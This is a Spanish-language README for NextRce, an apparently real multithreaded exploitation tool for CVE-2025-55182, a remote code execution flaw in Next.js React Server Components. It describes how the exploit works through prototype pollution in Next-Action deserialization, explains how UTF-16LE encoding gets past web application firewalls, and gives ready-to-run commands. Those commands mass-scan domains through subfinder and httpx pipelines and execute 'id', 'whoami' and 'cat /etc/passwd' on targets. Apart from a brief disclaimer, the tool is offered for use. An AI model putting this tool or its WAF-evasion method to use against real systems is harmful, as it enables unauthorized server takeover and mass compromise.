
Herramienta de explotación de React Shell y Next.js RSC (CVE-2025-55182)
Los payloads estándar que contienen palabras clave como child_process o execSync suelen ser bloqueados por los Firewalls de Aplicaciones Web (WAF).
NextRCSWaff.py utiliza un motor de codificación especializado UTF-16LE (Little Endian). Al codificar el payload malicioso en este formato específico, la secuencia de bytes cambia por completo, volviéndola invisible para la mayoría de los WAF basados en firmas. Sin embargo, el servidor Next.js (Node.js) decodifica y ejecuta correctamente el comando.
Prueba de concepto: La captura de pantalla anterior muestra un payload estándar siendo bloqueado (arriba), seguido de una ejecución RCE exitosa usando NextRCSWaff.py con el flag --bypass (abajo).
NextRce es una herramienta de seguridad multihilo de alto rendimiento diseñada para detectar y explotar CVE-2025-55182. Se dirige específicamente a la implementación de React Server Components (RSC) dentro de la arquitectura App Router de Next.js.
Al manipular el proceso de serialización en Server Actions, NextRce inyecta un payload diseñado para lograr Ejecución Remota de Código (RCE) en instancias vulnerables. Cuenta con un motor de detección inteligente que distingue automáticamente entre las arquitecturas vulnerables App Router y los routers de páginas legacy seguros, garantizando la eficiencia durante los escaneos masivos.
window.__next_f) para identificar objetivos vulnerables de App Router frente a sitios con el router de páginas legacy.stdin. Se integra sin problemas con herramientas de reconocimiento como subfinder, httpx y gau.ThreadPoolExecutor incorporado permite escanear miles de dominios de forma concurrente con un mínimo consumo de recursos.Next.js App Router utiliza un formato de serialización personalizado para React Server Components (RSC). La vulnerabilidad existe en la lógica de deserialización de los encabezados Next-Action. Cuando un objeto especialmente diseñado (contaminando el __proto__) se envía a un endpoint de acción del servidor (por ejemplo, /adfa), el analizador interno puede ser forzado a ejecutar código Node.js arbitrario a través de child_process.
X-Powered-By: Next.js y estructuras de ruta específicas (/_next/).window.__next_f -> Vulnerable (App Router)__NEXT_DATA__ -> Seguro (Router de Páginas)execSync(cmd). El stdout se codifica en base64 y se devuelve en el campo digest de la respuesta de error del servidor, que NextRce decodifica y muestra.# Clonar el repositorio
git clone [https://github.com/ynsmroztas/NextRce.git](https://github.com/ynsmroztas/NextRce.git)
# Navegar al directorio
cd NextRce
# Instalar dependencias
pip install requests
💻 Ejemplos de Uso
# Habilitar codificación UTF-16LE con el flag --bypass
python3 NextRCSWaff.py -u https://target.com -c "whoami" --bypass
# Escaneo estándar
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 nextrce.py -c "id" -t 50
# Escaneo con omisión de WAF
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 NextRCSWaff.py -c "id" -B
python3 nextrce.py -u https://vulnerable.target.com -c "cat /etc/passwd"
python3 nextrce.py -l targets.txt -c "whoami" -t 100
python3 nextrce.py -u https://target.com -p http://127.0.0.1:8080
Esta herramienta está desarrollada únicamente con fines educativos y de investigación en seguridad. El autor (Mitsec) no se hace responsable de ningún uso ilegal, daño o acceso no autorizado causado por esta herramienta. Siempre obtenga permiso explícito del propietario del sistema antes de realizar cualquier prueba de seguridad.
NextRce es desarrollado y mantenido por Mitsec.
| Flag | Descripción | Valor por Defecto |
|---|
| "-u, --url" | URL objetivo única a escanear | None |
| "-l, --list" | Ruta del archivo que contiene una lista de URLs | None |
| "-c, --cmd" | Comando a ejecutar en el servidor | id |
| "-t, --threads" | Número de hilos concurrentes | 30 |
| "-p, --proxy" | URL del proxy HTTP (ej. http://127.0.0.1:8080) | None |
| "-v, --verbose" | Habilitar salida detallada (mostrar intentos fallidos) | False |
| "-B, --bypass" | (Solo NextRCSWaff.py) Habilitar codificación UTF-16LE para omitir WAF | False |